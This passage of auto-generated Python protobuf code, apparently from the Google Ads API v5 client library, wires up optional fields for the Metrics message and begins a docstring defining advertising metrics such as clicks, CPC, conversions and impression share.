_METRICS.fields_by_name['historical_landing_page_quality_score'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET
_METRICS.fields_by_name['historical_search_predicted_ctr'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET
_METRICS.fields_by_name['interaction_event_types'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_interaction__event__type__pb2._INTERACTIONEVENTTYPEENUM_INTERACTIONEVENTTYPE
_METRICS.oneofs_by_name['_absolute_top_impression_percentage'].fields.append(
_METRICS.fields_by_name['absolute_top_impression_percentage'])
_METRICS.fields_by_name['absolute_top_impression_percentage'].containing_oneof = _METRICS.oneofs_by_name['_absolute_top_impression_percentage']
_METRICS.oneofs_by_name['_active_view_cpm'].fields.append(
_METRICS.fields_by_name['active_view_cpm'])
_METRICS.fields_by_name['active_view_cpm'].containing_oneof = _METRICS.oneofs_by_name['_active_view_cpm']
_METRICS.oneofs_by_name['_active_view_ctr'].fields.append(
_METRICS.fields_by_name['active_view_ctr'])
_METRICS.fields_by_name['active_view_ctr'].containing_oneof = _METRICS.oneofs_by_name['_active_view_ctr']
_METRICS.oneofs_by_name['_active_view_impressions'].fields.append(
_METRICS.fields_by_name['active_view_impressions'])
_METRICS.fields_by_name['active_view_impressions'].containing_oneof = _METRICS.oneofs_by_name['_active_view_impressions']
_METRICS.oneofs_by_name['_active_view_measurability'].fields.append(
_METRICS.fields_by_name['active_view_measurability'])
_METRICS.fields_by_name['active_view_measurability'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurability']
_METRICS.oneofs_by_name['_active_view_measurable_cost_micros'].fields.append(
_METRICS.fields_by_name['active_view_measurable_cost_micros'])
_METRICS.fields_by_name['active_view_measurable_cost_micros'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurable_cost_micros']
_METRICS.oneofs_by_name['_active_view_measurable_impressions'].fields.append(
_METRICS.fields_by_name['active_view_measurable_impressions'])
_METRICS.fields_by_name['active_view_measurable_impressions'].containing_oneof = _METRICS.oneofs_by_name['_active_view_measurable_impressions']
_METRICS.oneofs_by_name['_active_view_viewability'].fields.append(
_METRICS.fields_by_name['active_view_viewability'])
_METRICS.fields_by_name['active_view_viewability'].containing_oneof = _METRICS.oneofs_by_name['_active_view_viewability']
_METRICS.oneofs_by_name['_all_conversions_from_interactions_rate'].fields.append(
_METRICS.fields_by_name['all_conversions_from_interactions_rate'])
_METRICS.fields_by_name['all_conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_interactions_rate']
_METRICS.oneofs_by_name['_all_conversions_value'].fields.append(
_METRICS.fields_by_name['all_conversions_value'])
_METRICS.fields_by_name['all_conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_value']
_METRICS.oneofs_by_name['_all_conversions'].fields.append(
_METRICS.fields_by_name['all_conversions'])
_METRICS.fields_by_name['all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions']
_METRICS.oneofs_by_name['_all_conversions_value_per_cost'].fields.append(
_METRICS.fields_by_name['all_conversions_value_per_cost'])
_METRICS.fields_by_name['all_conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_value_per_cost']
_METRICS.oneofs_by_name['_all_conversions_from_click_to_call'].fields.append(
_METRICS.fields_by_name['all_conversions_from_click_to_call'])
_METRICS.fields_by_name['all_conversions_from_click_to_call'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_click_to_call']
_METRICS.oneofs_by_name['_all_conversions_from_directions'].fields.append(
_METRICS.fields_by_name['all_conversions_from_directions'])
_METRICS.fields_by_name['all_conversions_from_directions'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_directions']
_METRICS.oneofs_by_name['_all_conversions_from_interactions_value_per_interaction'].fields.append(
_METRICS.fields_by_name['all_conversions_from_interactions_value_per_interaction'])
_METRICS.fields_by_name['all_conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_interactions_value_per_interaction']
_METRICS.oneofs_by_name['_all_conversions_from_menu'].fields.append(
_METRICS.fields_by_name['all_conversions_from_menu'])
_METRICS.fields_by_name['all_conversions_from_menu'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_menu']
_METRICS.oneofs_by_name['_all_conversions_from_order'].fields.append(
_METRICS.fields_by_name['all_conversions_from_order'])
_METRICS.fields_by_name['all_conversions_from_order'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_order']
_METRICS.oneofs_by_name['_all_conversions_from_other_engagement'].fields.append(
_METRICS.fields_by_name['all_conversions_from_other_engagement'])
_METRICS.fields_by_name['all_conversions_from_other_engagement'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_other_engagement']
_METRICS.oneofs_by_name['_all_conversions_from_store_visit'].fields.append(
_METRICS.fields_by_name['all_conversions_from_store_visit'])
_METRICS.fields_by_name['all_conversions_from_store_visit'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_store_visit']
_METRICS.oneofs_by_name['_all_conversions_from_store_website'].fields.append(
_METRICS.fields_by_name['all_conversions_from_store_website'])
_METRICS.fields_by_name['all_conversions_from_store_website'].containing_oneof = _METRICS.oneofs_by_name['_all_conversions_from_store_website']
_METRICS.oneofs_by_name['_average_cost'].fields.append(
_METRICS.fields_by_name['average_cost'])
_METRICS.fields_by_name['average_cost'].containing_oneof = _METRICS.oneofs_by_name['_average_cost']
_METRICS.oneofs_by_name['_average_cpc'].fields.append(
_METRICS.fields_by_name['average_cpc'])
_METRICS.fields_by_name['average_cpc'].containing_oneof = _METRICS.oneofs_by_name['_average_cpc']
_METRICS.oneofs_by_name['_average_cpe'].fields.append(
_METRICS.fields_by_name['average_cpe'])
_METRICS.fields_by_name['average_cpe'].containing_oneof = _METRICS.oneofs_by_name['_average_cpe']
_METRICS.oneofs_by_name['_average_cpm'].fields.append(
_METRICS.fields_by_name['average_cpm'])
_METRICS.fields_by_name['average_cpm'].containing_oneof = _METRICS.oneofs_by_name['_average_cpm']
_METRICS.oneofs_by_name['_average_cpv'].fields.append(
_METRICS.fields_by_name['average_cpv'])
_METRICS.fields_by_name['average_cpv'].containing_oneof = _METRICS.oneofs_by_name['_average_cpv']
_METRICS.oneofs_by_name['_average_page_views'].fields.append(
_METRICS.fields_by_name['average_page_views'])
_METRICS.fields_by_name['average_page_views'].containing_oneof = _METRICS.oneofs_by_name['_average_page_views']
_METRICS.oneofs_by_name['_average_time_on_site'].fields.append(
_METRICS.fields_by_name['average_time_on_site'])
_METRICS.fields_by_name['average_time_on_site'].containing_oneof = _METRICS.oneofs_by_name['_average_time_on_site']
_METRICS.oneofs_by_name['_benchmark_average_max_cpc'].fields.append(
_METRICS.fields_by_name['benchmark_average_max_cpc'])
_METRICS.fields_by_name['benchmark_average_max_cpc'].containing_oneof = _METRICS.oneofs_by_name['_benchmark_average_max_cpc']
_METRICS.oneofs_by_name['_benchmark_ctr'].fields.append(
_METRICS.fields_by_name['benchmark_ctr'])
_METRICS.fields_by_name['benchmark_ctr'].containing_oneof = _METRICS.oneofs_by_name['_benchmark_ctr']
_METRICS.oneofs_by_name['_bounce_rate'].fields.append(
_METRICS.fields_by_name['bounce_rate'])
_METRICS.fields_by_name['bounce_rate'].containing_oneof = _METRICS.oneofs_by_name['_bounce_rate']
_METRICS.oneofs_by_name['_clicks'].fields.append(
_METRICS.fields_by_name['clicks'])
_METRICS.fields_by_name['clicks'].containing_oneof = _METRICS.oneofs_by_name['_clicks']
_METRICS.oneofs_by_name['_combined_clicks'].fields.append(
_METRICS.fields_by_name['combined_clicks'])
_METRICS.fields_by_name['combined_clicks'].containing_oneof = _METRICS.oneofs_by_name['_combined_clicks']
_METRICS.oneofs_by_name['_combined_clicks_per_query'].fields.append(
_METRICS.fields_by_name['combined_clicks_per_query'])
_METRICS.fields_by_name['combined_clicks_per_query'].containing_oneof = _METRICS.oneofs_by_name['_combined_clicks_per_query']
_METRICS.oneofs_by_name['_combined_queries'].fields.append(
_METRICS.fields_by_name['combined_queries'])
_METRICS.fields_by_name['combined_queries'].containing_oneof = _METRICS.oneofs_by_name['_combined_queries']
_METRICS.oneofs_by_name['_content_budget_lost_impression_share'].fields.append(
_METRICS.fields_by_name['content_budget_lost_impression_share'])
_METRICS.fields_by_name['content_budget_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_budget_lost_impression_share']
_METRICS.oneofs_by_name['_content_impression_share'].fields.append(
_METRICS.fields_by_name['content_impression_share'])
_METRICS.fields_by_name['content_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_impression_share']
_METRICS.oneofs_by_name['_conversion_last_received_request_date_time'].fields.append(
_METRICS.fields_by_name['conversion_last_received_request_date_time'])
_METRICS.fields_by_name['conversion_last_received_request_date_time'].containing_oneof = _METRICS.oneofs_by_name['_conversion_last_received_request_date_time']
_METRICS.oneofs_by_name['_conversion_last_conversion_date'].fields.append(
_METRICS.fields_by_name['conversion_last_conversion_date'])
_METRICS.fields_by_name['conversion_last_conversion_date'].containing_oneof = _METRICS.oneofs_by_name['_conversion_last_conversion_date']
_METRICS.oneofs_by_name['_content_rank_lost_impression_share'].fields.append(
_METRICS.fields_by_name['content_rank_lost_impression_share'])
_METRICS.fields_by_name['content_rank_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_content_rank_lost_impression_share']
_METRICS.oneofs_by_name['_conversions_from_interactions_rate'].fields.append(
_METRICS.fields_by_name['conversions_from_interactions_rate'])
_METRICS.fields_by_name['conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_conversions_from_interactions_rate']
_METRICS.oneofs_by_name['_conversions_value'].fields.append(
_METRICS.fields_by_name['conversions_value'])
_METRICS.fields_by_name['conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_conversions_value']
_METRICS.oneofs_by_name['_conversions_value_per_cost'].fields.append(
_METRICS.fields_by_name['conversions_value_per_cost'])
_METRICS.fields_by_name['conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_conversions_value_per_cost']
_METRICS.oneofs_by_name['_conversions_from_interactions_value_per_interaction'].fields.append(
_METRICS.fields_by_name['conversions_from_interactions_value_per_interaction'])
_METRICS.fields_by_name['conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_conversions_from_interactions_value_per_interaction']
_METRICS.oneofs_by_name['_conversions'].fields.append(
_METRICS.fields_by_name['conversions'])
_METRICS.fields_by_name['conversions'].containing_oneof = _METRICS.oneofs_by_name['_conversions']
_METRICS.oneofs_by_name['_cost_micros'].fields.append(
_METRICS.fields_by_name['cost_micros'])
_METRICS.fields_by_name['cost_micros'].containing_oneof = _METRICS.oneofs_by_name['_cost_micros']
_METRICS.oneofs_by_name['_cost_per_all_conversions'].fields.append(
_METRICS.fields_by_name['cost_per_all_conversions'])
_METRICS.fields_by_name['cost_per_all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_all_conversions']
_METRICS.oneofs_by_name['_cost_per_conversion'].fields.append(
_METRICS.fields_by_name['cost_per_conversion'])
_METRICS.fields_by_name['cost_per_conversion'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_conversion']
_METRICS.oneofs_by_name['_cost_per_current_model_attributed_conversion'].fields.append(
_METRICS.fields_by_name['cost_per_current_model_attributed_conversion'])
_METRICS.fields_by_name['cost_per_current_model_attributed_conversion'].containing_oneof = _METRICS.oneofs_by_name['_cost_per_current_model_attributed_conversion']
_METRICS.oneofs_by_name['_cross_device_conversions'].fields.append(
_METRICS.fields_by_name['cross_device_conversions'])
_METRICS.fields_by_name['cross_device_conversions'].containing_oneof = _METRICS.oneofs_by_name['_cross_device_conversions']
_METRICS.oneofs_by_name['_ctr'].fields.append(
_METRICS.fields_by_name['ctr'])
_METRICS.fields_by_name['ctr'].containing_oneof = _METRICS.oneofs_by_name['_ctr']
_METRICS.oneofs_by_name['_current_model_attributed_conversions'].fields.append(
_METRICS.fields_by_name['current_model_attributed_conversions'])
_METRICS.fields_by_name['current_model_attributed_conversions'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions']
_METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_rate'].fields.append(
_METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_rate'])
_METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_rate'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_rate']
_METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_value_per_interaction'].fields.append(
_METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_value_per_interaction'])
_METRICS.fields_by_name['current_model_attributed_conversions_from_interactions_value_per_interaction'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_from_interactions_value_per_interaction']
_METRICS.oneofs_by_name['_current_model_attributed_conversions_value'].fields.append(
_METRICS.fields_by_name['current_model_attributed_conversions_value'])
_METRICS.fields_by_name['current_model_attributed_conversions_value'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_value']
_METRICS.oneofs_by_name['_current_model_attributed_conversions_value_per_cost'].fields.append(
_METRICS.fields_by_name['current_model_attributed_conversions_value_per_cost'])
_METRICS.fields_by_name['current_model_attributed_conversions_value_per_cost'].containing_oneof = _METRICS.oneofs_by_name['_current_model_attributed_conversions_value_per_cost']
_METRICS.oneofs_by_name['_engagement_rate'].fields.append(
_METRICS.fields_by_name['engagement_rate'])
_METRICS.fields_by_name['engagement_rate'].containing_oneof = _METRICS.oneofs_by_name['_engagement_rate']
_METRICS.oneofs_by_name['_engagements'].fields.append(
_METRICS.fields_by_name['engagements'])
_METRICS.fields_by_name['engagements'].containing_oneof = _METRICS.oneofs_by_name['_engagements']
_METRICS.oneofs_by_name['_hotel_average_lead_value_micros'].fields.append(
_METRICS.fields_by_name['hotel_average_lead_value_micros'])
_METRICS.fields_by_name['hotel_average_lead_value_micros'].containing_oneof = _METRICS.oneofs_by_name['_hotel_average_lead_value_micros']
_METRICS.oneofs_by_name['_hotel_price_difference_percentage'].fields.append(
_METRICS.fields_by_name['hotel_price_difference_percentage'])
_METRICS.fields_by_name['hotel_price_difference_percentage'].containing_oneof = _METRICS.oneofs_by_name['_hotel_price_difference_percentage']
_METRICS.oneofs_by_name['_hotel_eligible_impressions'].fields.append(
_METRICS.fields_by_name['hotel_eligible_impressions'])
_METRICS.fields_by_name['hotel_eligible_impressions'].containing_oneof = _METRICS.oneofs_by_name['_hotel_eligible_impressions']
_METRICS.oneofs_by_name['_historical_quality_score'].fields.append(
_METRICS.fields_by_name['historical_quality_score'])
_METRICS.fields_by_name['historical_quality_score'].containing_oneof = _METRICS.oneofs_by_name['_historical_quality_score']
_METRICS.oneofs_by_name['_gmail_forwards'].fields.append(
_METRICS.fields_by_name['gmail_forwards'])
_METRICS.fields_by_name['gmail_forwards'].containing_oneof = _METRICS.oneofs_by_name['_gmail_forwards']
_METRICS.oneofs_by_name['_gmail_saves'].fields.append(
_METRICS.fields_by_name['gmail_saves'])
_METRICS.fields_by_name['gmail_saves'].containing_oneof = _METRICS.oneofs_by_name['_gmail_saves']
_METRICS.oneofs_by_name['_gmail_secondary_clicks'].fields.append(
_METRICS.fields_by_name['gmail_secondary_clicks'])
_METRICS.fields_by_name['gmail_secondary_clicks'].containing_oneof = _METRICS.oneofs_by_name['_gmail_secondary_clicks']
_METRICS.oneofs_by_name['_impressions_from_store_reach'].fields.append(
_METRICS.fields_by_name['impressions_from_store_reach'])
_METRICS.fields_by_name['impressions_from_store_reach'].containing_oneof = _METRICS.oneofs_by_name['_impressions_from_store_reach']
_METRICS.oneofs_by_name['_impressions'].fields.append(
_METRICS.fields_by_name['impressions'])
_METRICS.fields_by_name['impressions'].containing_oneof = _METRICS.oneofs_by_name['_impressions']
_METRICS.oneofs_by_name['_interaction_rate'].fields.append(
_METRICS.fields_by_name['interaction_rate'])
_METRICS.fields_by_name['interaction_rate'].containing_oneof = _METRICS.oneofs_by_name['_interaction_rate']
_METRICS.oneofs_by_name['_interactions'].fields.append(
_METRICS.fields_by_name['interactions'])
_METRICS.fields_by_name['interactions'].containing_oneof = _METRICS.oneofs_by_name['_interactions']
_METRICS.oneofs_by_name['_invalid_click_rate'].fields.append(
_METRICS.fields_by_name['invalid_click_rate'])
_METRICS.fields_by_name['invalid_click_rate'].containing_oneof = _METRICS.oneofs_by_name['_invalid_click_rate']
_METRICS.oneofs_by_name['_invalid_clicks'].fields.append(
_METRICS.fields_by_name['invalid_clicks'])
_METRICS.fields_by_name['invalid_clicks'].containing_oneof = _METRICS.oneofs_by_name['_invalid_clicks']
_METRICS.oneofs_by_name['_message_chats'].fields.append(
_METRICS.fields_by_name['message_chats'])
_METRICS.fields_by_name['message_chats'].containing_oneof = _METRICS.oneofs_by_name['_message_chats']
_METRICS.oneofs_by_name['_message_impressions'].fields.append(
_METRICS.fields_by_name['message_impressions'])
_METRICS.fields_by_name['message_impressions'].containing_oneof = _METRICS.oneofs_by_name['_message_impressions']
_METRICS.oneofs_by_name['_message_chat_rate'].fields.append(
_METRICS.fields_by_name['message_chat_rate'])
_METRICS.fields_by_name['message_chat_rate'].containing_oneof = _METRICS.oneofs_by_name['_message_chat_rate']
_METRICS.oneofs_by_name['_mobile_friendly_clicks_percentage'].fields.append(
_METRICS.fields_by_name['mobile_friendly_clicks_percentage'])
_METRICS.fields_by_name['mobile_friendly_clicks_percentage'].containing_oneof = _METRICS.oneofs_by_name['_mobile_friendly_clicks_percentage']
_METRICS.oneofs_by_name['_organic_clicks'].fields.append(
_METRICS.fields_by_name['organic_clicks'])
_METRICS.fields_by_name['organic_clicks'].containing_oneof = _METRICS.oneofs_by_name['_organic_clicks']
_METRICS.oneofs_by_name['_organic_clicks_per_query'].fields.append(
_METRICS.fields_by_name['organic_clicks_per_query'])
_METRICS.fields_by_name['organic_clicks_per_query'].containing_oneof = _METRICS.oneofs_by_name['_organic_clicks_per_query']
_METRICS.oneofs_by_name['_organic_impressions'].fields.append(
_METRICS.fields_by_name['organic_impressions'])
_METRICS.fields_by_name['organic_impressions'].containing_oneof = _METRICS.oneofs_by_name['_organic_impressions']
_METRICS.oneofs_by_name['_organic_impressions_per_query'].fields.append(
_METRICS.fields_by_name['organic_impressions_per_query'])
_METRICS.fields_by_name['organic_impressions_per_query'].containing_oneof = _METRICS.oneofs_by_name['_organic_impressions_per_query']
_METRICS.oneofs_by_name['_organic_queries'].fields.append(
_METRICS.fields_by_name['organic_queries'])
_METRICS.fields_by_name['organic_queries'].containing_oneof = _METRICS.oneofs_by_name['_organic_queries']
_METRICS.oneofs_by_name['_percent_new_visitors'].fields.append(
_METRICS.fields_by_name['percent_new_visitors'])
_METRICS.fields_by_name['percent_new_visitors'].containing_oneof = _METRICS.oneofs_by_name['_percent_new_visitors']
_METRICS.oneofs_by_name['_phone_calls'].fields.append(
_METRICS.fields_by_name['phone_calls'])
_METRICS.fields_by_name['phone_calls'].containing_oneof = _METRICS.oneofs_by_name['_phone_calls']
_METRICS.oneofs_by_name['_phone_impressions'].fields.append(
_METRICS.fields_by_name['phone_impressions'])
_METRICS.fields_by_name['phone_impressions'].containing_oneof = _METRICS.oneofs_by_name['_phone_impressions']
_METRICS.oneofs_by_name['_phone_through_rate'].fields.append(
_METRICS.fields_by_name['phone_through_rate'])
_METRICS.fields_by_name['phone_through_rate'].containing_oneof = _METRICS.oneofs_by_name['_phone_through_rate']
_METRICS.oneofs_by_name['_relative_ctr'].fields.append(
_METRICS.fields_by_name['relative_ctr'])
_METRICS.fields_by_name['relative_ctr'].containing_oneof = _METRICS.oneofs_by_name['_relative_ctr']
_METRICS.oneofs_by_name['_search_absolute_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_absolute_top_impression_share'])
_METRICS.fields_by_name['search_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_absolute_top_impression_share']
_METRICS.oneofs_by_name['_search_budget_lost_absolute_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_budget_lost_absolute_top_impression_share'])
_METRICS.fields_by_name['search_budget_lost_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_absolute_top_impression_share']
_METRICS.oneofs_by_name['_search_budget_lost_impression_share'].fields.append(
_METRICS.fields_by_name['search_budget_lost_impression_share'])
_METRICS.fields_by_name['search_budget_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_impression_share']
_METRICS.oneofs_by_name['_search_budget_lost_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_budget_lost_top_impression_share'])
_METRICS.fields_by_name['search_budget_lost_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_budget_lost_top_impression_share']
_METRICS.oneofs_by_name['_search_click_share'].fields.append(
_METRICS.fields_by_name['search_click_share'])
_METRICS.fields_by_name['search_click_share'].containing_oneof = _METRICS.oneofs_by_name['_search_click_share']
_METRICS.oneofs_by_name['_search_exact_match_impression_share'].fields.append(
_METRICS.fields_by_name['search_exact_match_impression_share'])
_METRICS.fields_by_name['search_exact_match_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_exact_match_impression_share']
_METRICS.oneofs_by_name['_search_impression_share'].fields.append(
_METRICS.fields_by_name['search_impression_share'])
_METRICS.fields_by_name['search_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_impression_share']
_METRICS.oneofs_by_name['_search_rank_lost_absolute_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_rank_lost_absolute_top_impression_share'])
_METRICS.fields_by_name['search_rank_lost_absolute_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_absolute_top_impression_share']
_METRICS.oneofs_by_name['_search_rank_lost_impression_share'].fields.append(
_METRICS.fields_by_name['search_rank_lost_impression_share'])
_METRICS.fields_by_name['search_rank_lost_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_impression_share']
_METRICS.oneofs_by_name['_search_rank_lost_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_rank_lost_top_impression_share'])
_METRICS.fields_by_name['search_rank_lost_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_rank_lost_top_impression_share']
_METRICS.oneofs_by_name['_search_top_impression_share'].fields.append(
_METRICS.fields_by_name['search_top_impression_share'])
_METRICS.fields_by_name['search_top_impression_share'].containing_oneof = _METRICS.oneofs_by_name['_search_top_impression_share']
_METRICS.oneofs_by_name['_speed_score'].fields.append(
_METRICS.fields_by_name['speed_score'])
_METRICS.fields_by_name['speed_score'].containing_oneof = _METRICS.oneofs_by_name['_speed_score']
_METRICS.oneofs_by_name['_top_impression_percentage'].fields.append(
_METRICS.fields_by_name['top_impression_percentage'])
_METRICS.fields_by_name['top_impression_percentage'].containing_oneof = _METRICS.oneofs_by_name['_top_impression_percentage']
_METRICS.oneofs_by_name['_valid_accelerated_mobile_pages_clicks_percentage'].fields.append(
_METRICS.fields_by_name['valid_accelerated_mobile_pages_clicks_percentage'])
_METRICS.fields_by_name['valid_accelerated_mobile_pages_clicks_percentage'].containing_oneof = _METRICS.oneofs_by_name['_valid_accelerated_mobile_pages_clicks_percentage']
_METRICS.oneofs_by_name['_value_per_all_conversions'].fields.append(
_METRICS.fields_by_name['value_per_all_conversions'])
_METRICS.fields_by_name['value_per_all_conversions'].containing_oneof = _METRICS.oneofs_by_name['_value_per_all_conversions']
_METRICS.oneofs_by_name['_value_per_conversion'].fields.append(
_METRICS.fields_by_name['value_per_conversion'])
_METRICS.fields_by_name['value_per_conversion'].containing_oneof = _METRICS.oneofs_by_name['_value_per_conversion']
_METRICS.oneofs_by_name['_value_per_current_model_attributed_conversion'].fields.append(
_METRICS.fields_by_name['value_per_current_model_attributed_conversion'])
_METRICS.fields_by_name['value_per_current_model_attributed_conversion'].containing_oneof = _METRICS.oneofs_by_name['_value_per_current_model_attributed_conversion']
_METRICS.oneofs_by_name['_video_quartile_p100_rate'].fields.append(
_METRICS.fields_by_name['video_quartile_p100_rate'])
_METRICS.fields_by_name['video_quartile_p100_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p100_rate']
_METRICS.oneofs_by_name['_video_quartile_p25_rate'].fields.append(
_METRICS.fields_by_name['video_quartile_p25_rate'])
_METRICS.fields_by_name['video_quartile_p25_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p25_rate']
_METRICS.oneofs_by_name['_video_quartile_p50_rate'].fields.append(
_METRICS.fields_by_name['video_quartile_p50_rate'])
_METRICS.fields_by_name['video_quartile_p50_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p50_rate']
_METRICS.oneofs_by_name['_video_quartile_p75_rate'].fields.append(
_METRICS.fields_by_name['video_quartile_p75_rate'])
_METRICS.fields_by_name['video_quartile_p75_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_quartile_p75_rate']
_METRICS.oneofs_by_name['_video_view_rate'].fields.append(
_METRICS.fields_by_name['video_view_rate'])
_METRICS.fields_by_name['video_view_rate'].containing_oneof = _METRICS.oneofs_by_name['_video_view_rate']
_METRICS.oneofs_by_name['_video_views'].fields.append(
_METRICS.fields_by_name['video_views'])
_METRICS.fields_by_name['video_views'].containing_oneof = _METRICS.oneofs_by_name['_video_views']
_METRICS.oneofs_by_name['_view_through_conversions'].fields.append(
_METRICS.fields_by_name['view_through_conversions'])
_METRICS.fields_by_name['view_through_conversions'].containing_oneof = _METRICS.oneofs_by_name['_view_through_conversions']
DESCRIPTOR.message_types_by_name['Metrics'] = _METRICS
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Metrics = _reflection.GeneratedProtocolMessageType('Metrics', (_message.Message,), {
'DESCRIPTOR' : _METRICS,
'__module__' : 'google.ads.googleads_v5.proto.common.metrics_pb2'
,
'__doc__': """Metrics data.
Attributes:
absolute_top_impression_percentage:
The percent of your ad impressions that are shown as the very
first ad above the organic search results.
active_view_cpm:
Average cost of viewable impressions
(``active_view_impressions``).
active_view_ctr:
Active view measurable clicks divided by active view viewable
impressions. This metric is reported only for display network.
active_view_impressions:
A measurement of how often your ad has become viewable on a
Display Network site.
active_view_measurability:
The ratio of impressions that could be measured by Active View
over the number of served impressions.
active_view_measurable_cost_micros:
The cost of the impressions you received that were measurable
by Active View.
active_view_measurable_impressions:
The number of times your ads are appearing on placements in
positions where they can be seen.
active_view_viewability:
The percentage of time when your ad appeared on an Active View
enabled site (measurable impressions) and was viewable
(viewable impressions).
all_conversions_from_interactions_rate:
All conversions from interactions (as oppose to view through
conversions) divided by the number of ad interactions.
all_conversions_value:
The value of all conversions.
all_conversions:
The total number of conversions. This includes all conversions
regardless of the value of include\_in\_conversions\_metric.
all_conversions_value_per_cost:
The value of all conversions divided by the total cost of ad
interactions (such as clicks for text ads or views for video
ads).
all_conversions_from_click_to_call:
The number of times people clicked the "Call" button to call a
store during or after clicking an ad. This number doesn't
include whether or not calls were connected, or the duration
of any calls. This metric applies to feed items only.
all_conversions_from_directions:
The number of times people clicked a "Get directions" button
to navigate to a store after clicking an ad. This metric
applies to feed items only.
all_conversions_from_interactions_value_per_interaction:
The value of all conversions from interactions divided by the
total number of interactions.
all_conversions_from_menu:
The number of times people clicked a link to view a store's
menu after clicking an ad. This metric applies to feed items
only.
all_conversions_from_order:
The number of times people placed an order at a store after
clicking an ad. This metric applies to feed items only.
all_conversions_from_other_engagement:
The number of other conversions (for example, posting a review
or saving a location for a store) that occurred after people
clicked an ad. This metric applies to feed items only.
all_conversions_from_store_visit:
Estimated number of times people visited a store after
clicking an ad. This metric applies to feed items only.
all_conversions_from_store_website:
The number of times that people were taken to a store's URL
after clicking an ad. This metric applies to feed items only.
average_cost:
The average amount you pay per interaction. This amount is the
total cost of your ads divided by the total number of
interactions.
average_cpc:
The total cost of all clicks divided by the total number of
clicks received.
average_cpe:
The average amount that you've been charged for an ad
engagement. This amount is the total cost of all ad
engagements divided by the total number of ad engagements.
average_cpm:
Average cost-per-thousand impressions (CPM).
average_cpv:
The average amount you pay each time someone views your ad.
The average CPV is defined by the total cost of all ad views
divided by the number of views.
average_page_views:
Average number of pages viewed per session.
average_time_on_site:
Total duration of all sessions (in seconds) / number of
sessions. Imported from Google Analytics.
benchmark_average_max_cpc:
An indication of how other advertisers are bidding on similar
products.
benchmark_ctr:
An indication on how other advertisers' Shopping ads for
similar products are performing based on how often people who
see their ad click on it.
bounce_rate:
Percentage of clicks where the user only visited a single page
on your site. Imported from Google Analytics.
clicks:
The number of clicks.
combined_clicks:
The number of times your ad or your site's listing in the
unpaid results was clicked. See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
combined_clicks_per_query:
The number of times your ad or your site's listing in the
unpaid results was clicked (combined\_clicks) divided by
combined\_queries. See the help page at
https://support.google.com/google-ads/answer/3097241 for
details.
combined_queries:
The number of searches that returned pages from your site in
the unpaid results or showed one of your text ads. See the
help page at https://support.google.com/google-
ads/answer/3097241 for details.
content_budget_lost_impression_share:
The estimated percent of times that your ad was eligible to
show on the Display Network but didn't because your budget was
too low. Note: Content budget lost impression share is
reported in the range of 0 to 0.9. Any value above 0.9 is
reported as 0.9001.
content_impression_share:
The impressions you've received on the Display Network divided
by the estimated number of impressions you were eligible to
receive. Note: Content impression share is reported in the
range of 0.1 to 1. Any value below 0.1 is reported as 0.0999.
conversion_last_received_request_date_time:
The last date/time a conversion tag for this conversion action
successfully fired and was seen by Google Ads. This firing
event may not have been the result of an attributable
conversion (e.g. because the tag was fired from a browser that
did not previously click an ad from an appropriate
